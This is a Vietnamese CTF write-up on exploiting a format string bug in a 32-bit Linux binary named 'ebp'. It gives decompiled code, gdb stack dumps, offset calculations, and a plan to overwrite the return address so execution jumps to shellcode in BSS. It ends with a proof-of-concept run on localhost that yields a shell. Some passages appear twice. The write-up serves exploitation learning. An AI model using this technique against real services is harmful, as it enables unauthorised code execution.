$ file ebp
ebp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=4e8094f9986968cd856db5093810badbb0749fde, not stripped
Test:
$ ./ebp
phieulang
phieulang
%p%p%p
0xa0x1(nil)
=> Format string.
Payload được dùng tới 1024 bytes (khá thoải mái).
buf (format) ở BSS nên ta sẽ không tìm được offset tới buf để format string theo cách thông thường được.
NX disable => Hướng giải quyết là sẽ ghi shellcode lên buf (RELRO : Partial => địa chỉ cố định ở BSS) sau đó cho EIP nhảy về shellcode.
Ghi shellcode lên buf thì dễ rồi (tạm bỏ qua).
Control EIP nhảy về buf:
Như vậy ta không tìm được bất kì địa chỉ GOT hay địa chỉ ret của hàm nào trong stack (0xffffd18c, 0xffffd1ac, 0xffffd1cc).
Nhưng ta được input nhiều lần => ghi đè nhiều lần để tạo ra được địa chỉ ret hoặc GOT trong stack.
Theo hướng ghi đè ret:
- Trong stack ta cần 1 con trỏ trỏ tới 1 vùng nhớ trên stack. (đã có 0xffffd180 -> 0xffffd1a8). Để leak địa chỉ con trỏ, format string hoàn toàn có thể leak được dễ dàng.
Cách tính offset thì ta tính từ buf trở đi:
buf 0x0804a080 tại 0xffffd17c
0xffffd1a8 tại 0xffffd18c => offset = (0xffffd18c-0xffffd17c)/4 = 4
0xffffd1c8 tại 0xffffd1ac => offset = (0xffffd1ac-0xffffd17c)/4 = 12
POC:
Full Payload: ebp.py
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
------------------------------------------------------------------
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@3
while ( 1 )
{
result = fgets(buf, 1024, stdin);
if ( !result )
break;
echo();
}
return result;
}
------------------------------------------------------------------
int echo()
{
make_response();
puts(response);
return fflush(stdout);
}
------------------------------------------------------------------
int make_response()
{
return snprintf(response, 1024u, buf);
}
------------------------------------------------------------------
.bss:0804A080 ; char buf[1024]
.bss:0804A080 buf db 400h dup(?) ; DATA XREF: make_response+6 o
.bss:0804A080 ; main+21 o
.bss:0804A480 public response
.bss:0804A480 ; char response[1024]
.bss:0804A480 response db 400h dup(?)
Payload được dùng tới 1024 bytes (khá thoải mái).
buf (format) ở BSS nên ta sẽ không tìm được offset tới buf để format string theo cách thông thường được.
NX disable => Hướng giải quyết là sẽ ghi shellcode lên buf (RELRO : Partial => địa chỉ cố định ở BSS) sau đó cho EIP nhảy về shellcode.
Ghi shellcode lên buf thì dễ rồi (tạm bỏ qua).
Control EIP nhảy về buf:
- Ghi đè ret?
- Ghi đè GOT?
- Ghi đè _fini_array?
Mình không break được vòng lặp ở main => loại phương án ghi đè _fini_array (bạn nào break được thì chỉ mình với).
=> 0x804851a <make_response+29>: call 0x80483f0 <snprintf@plt> Breakpoint 1, 0x0804851a in make_response () gdb-peda$ x/30wx $esp 0xffffd170: 0x0804a480 0x00000400 0x0804a080 0x0000000a 0xffffd180: 0x00000001 0x00000000 0xffffd1a8 0x0804852c (echo+11) 0xffffd190: 0xf7fc3ac0 0xf7ff04c0 0xffffd1f4 0xf7fc3000 0xffffd1a0: 0x00000000 0x00000000 0xffffd1c8 0x08048557 (main+16) 0xffffd1b0: 0x0804a080 0x00000400 0xf7fc3c20 0xf7fc3000 0xffffd1c0: 0x08048580 0x00000000 0x00000000 0xf7e31af3 (__libc_start_main+243)
Như vậy ta không tìm được bất kì địa chỉ GOT hay địa chỉ ret của hàm nào trong stack (0xffffd18c, 0xffffd1ac, 0xffffd1cc).
Nhưng ta được input nhiều lần => ghi đè nhiều lần để tạo ra được địa chỉ ret hoặc GOT trong stack.
Theo hướng ghi đè ret:
- Trong stack ta cần 1 con trỏ trỏ tới 1 vùng nhớ trên stack. (đã có 0xffffd180 -> 0xffffd1a8). Để leak địa chỉ con trỏ, format string hoàn toàn có thể leak được dễ dàng.
gdb-peda$ x/30wx $esp
0xffffd170: 0x0804a480 0x00000400 0x0804a080 0x0000000a
0xffffd180: 0x00000001 0x00000000 0xffffd1a8 0x0804852c (echo+11)
0xffffd190: 0xf7fc3ac0 0xf7ff04c0 0xffffd1f4 0xf7fc3000
0xffffd1a0: 0x00000000 0x00000000 0xffffd1c8 0x08048557 (main+16)
0xffffd1b0: 0x0804a080 0x00000400 0xf7fc3c20 0xf7fc3000
0xffffd1c0: 0x08048580 0x00000000 0x00000000 0xf7e31af3 (__libc_start_main+243)
- Ta thay đổi giá trị con trỏ để trỏ về địa chỉ ret. (0xffffd1a8 -> 0xffffd1ac (ret_of_echo) )gdb-peda$ x/30wx $esp
0xffffd170: 0x0804a480 0x00000400 0x0804a080 0x0000000a
0xffffd180: 0x00000001 0x00000000 0xffffd1a8 0x0804852c (echo+11)
0xffffd190: 0xf7fc3ac0 0xf7ff04c0 0xffffd1f4 0xf7fc3000
0xffffd1a0: 0x00000000 0x00000000 0xffffd1ac 0x08048557 (main+16)
0xffffd1b0: 0x0804a080 0x00000400 0xf7fc3c20 0xf7fc3000
0xffffd1c0: 0x08048580 0x00000000 0x00000000 0xf7e31af3 (__libc_start_main+243)
- Ta tiếp tục thay đổi giá trị của địa chỉ ret về buf. (0xffffd1ac -> buf 0x0804A080)gdb-peda$ x/30wx $esp
0xffffd170: 0x0804a480 0x00000400 0x0804a080 0x0000000a
0xffffd180: 0x00000001 0x00000000 0xffffd1a8 0x0804852c (echo+11)
0xffffd190: 0xf7fc3ac0 0xf7ff04c0 0xffffd1f4 0xf7fc3000
0xffffd1a0: 0x00000000 0x00000000 0xffffd1ac 0x0804A080 (buf)
0xffffd1b0: 0x0804a080 0x00000400 0xf7fc3c20 0xf7fc3000
0xffffd1c0: 0x08048580 0x00000000 0x00000000 0xf7e31af3 (__libc_start_main+243)
Mỗi lần ta chỉ cần ghi 2 bytes là đủ.
Vậy là xong ý tưởng.Cách tính offset thì ta tính từ buf trở đi:
buf 0x0804a080 tại 0xffffd17c
0xffffd1a8 tại 0xffffd18c => offset = (0xffffd18c-0xffffd17c)/4 = 4
0xffffd1c8 tại 0xffffd1ac => offset = (0xffffd1ac-0xffffd17c)/4 = 12
POC:
$ python ebp.py
[+] Opening connection to 127.0.0.1 on port 8888: Done
debug?
[*] Switching to interactive mode
1���Qh//shh/bin\x89�
$ id
uid=1000(phieulang) gid=1000(phieulang) groups=1000(phieulang),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)
$
Full Payload: ebp.py









